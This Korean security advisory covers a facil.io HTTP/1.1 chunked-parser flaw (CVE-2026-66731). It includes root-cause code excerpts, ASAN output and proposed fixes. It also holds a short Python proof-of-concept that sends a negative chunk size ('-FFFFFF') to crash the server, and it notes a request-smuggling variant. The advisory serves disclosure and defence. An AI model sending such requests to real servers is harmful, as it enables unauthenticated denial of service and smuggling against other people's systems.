
CVE-2026-66731에 대한 보안 권고: 근본 원인 분석, PoC 익스플로잇, 그리고 facil.io HTTP/1.1 청크 인코딩 파서 버그에 대한 수정 제안을 포함합니다.
배정된 CVE ID: CVE-2026-66731
제품: facil.io
영향받는 버전: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); 0.7.5에서 0.8.x HTTP/1.1 파서가 백포트되면서 도입됨 - 0.6.x 또는 0.7.0–0.7.3에는 존재하지 않음
구성 요소: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Improper Input Validation), CWE-682 (Incorrect Calculation), CWE-125 (Out-of-Bounds Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
연구자: Theodosis Paidakis
청크 전송 인코딩 파서는 청크 크기 값 앞의 마이너스 기호를 허용합니다. http1_atol16은 -FFFFFF 같은 입력에 대해 음수 long long을 반환합니다. 파서는 "청크 내부"를 나타내는 센티널로 content_length에 0 - chunk_len을 저장합니다. chunk_len이 음수이면 이 뺄셈은 큰 양수 값을 생성하여 상태 머신을 손상시킵니다. 이후 포인터 계산은 읽기 포인터를 입력 버퍼보다 수백만 바이트 앞, 매핑되지 않은 메모리로 이동시켜 프로세스를 충돌시킵니다. 인증되지 않은 POST 요청 한 번으로 충분합니다.
1단계: http1_atol16이 선행 마이너스 기호를 허용합니다
lib/facil/http/parsers/http1_parser.h, 316-346행
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
입력 -FFFFFF\r\n은 chunk_len = -16777215LL을 생성합니다. RFC 7230 섹션 4.1은 청크 크기를 음수가 아닌 16진수 정수로 규정합니다. 선행 마이너스는 유효하지 않습니다.
2단계: 상태 머신 손상
lib/facil/http/parsers/http1_parser.h, 681-690행
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
파서는 "현재 청크 본문을 읽는 중"을 의미하는 센티널로 음수 content_length를 사용합니다. content_length가 +16777215로 양수이면 상태 머신은 16MB의 일반(비청크) 본문을 읽고 있다고 판단합니다.
3단계: 포인터가 매핑되지 않은 메모리로 역방향 이동
다음 반복에서 파서는 다음을 계산합니다:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
해당 주소에서의 읽기는 폴트를 발생시킵니다.
서버를 시작한 후 다음을 실행합니다:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
ASAN 출력(확인됨):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
전송된 청크 크기별 영향:
참고: -0의 경우(0 - 0 = 0)는 "청크 본문 완료" 분기에 해당하여 서버는 생존하지만, 서버는 이후에 오는 데이터와 무관하게 요청을 빈 본문으로 수락합니다. 이는 프런트 엔드가 청크 인코딩을 다르게 파싱하는 프록시 배포 환경에서 요청 스머글링 프리미티브로 작동할 수 있습니다.
음수 청크 크기를 가진 인증되지 않은 Transfer-Encoding: chunked 요청 한 번으로 서버가 충돌합니다. HTTP/1.1을 수락하는 모든 애플리케이션이 영향을 받습니다. 청크 인코딩은 핵심 프로토콜 기능이며 애플리케이션 수준 구성이 필요하지 않습니다.
두 접근 방식 모두 충분합니다. 수정 1을 권장합니다.
수정 1: http1_atol16에서 선행 마이너스를 거부
lib/facil/http/parsers/http1_parser.h, 322행
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
수정 2: 사용 전에 chunk_len 검증
lib/facil/http/parsers/http1_parser.h, 681행
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
커밋 53caca31("Fix atol16 to fix chunked length calculation", 2019년 12월)은 오버플로 감지 루프 조건을 수정했지만 부호 처리 코드는 유지했습니다. 커밋 fe847cdf("fix HTTP/1.1 parser against smuggling attack", 2020년 5월)는 TE/CL 충돌(Transfer-Encoding과 Content-Length가 모두 존재하는 경우)을 해결했습니다. 둘 다 음수 청크 크기를 다루지 않습니다.
| 청크 크기 | 손상 후 content_length | 결과 |
|---|
-0 | 0 | 본문이 조용히 건너뛰어짐; 서버는 생존 |
-1 | +1 | 포인터가 시작 지점보다 1바이트 앞 |
-FFFFFF | +16777215 | 포인터가 시작 지점보다 16MB 앞; 충돌 |
-7FFFFFFF | +2147483647 | 포인터가 시작 지점보다 2GB 앞; 충돌 |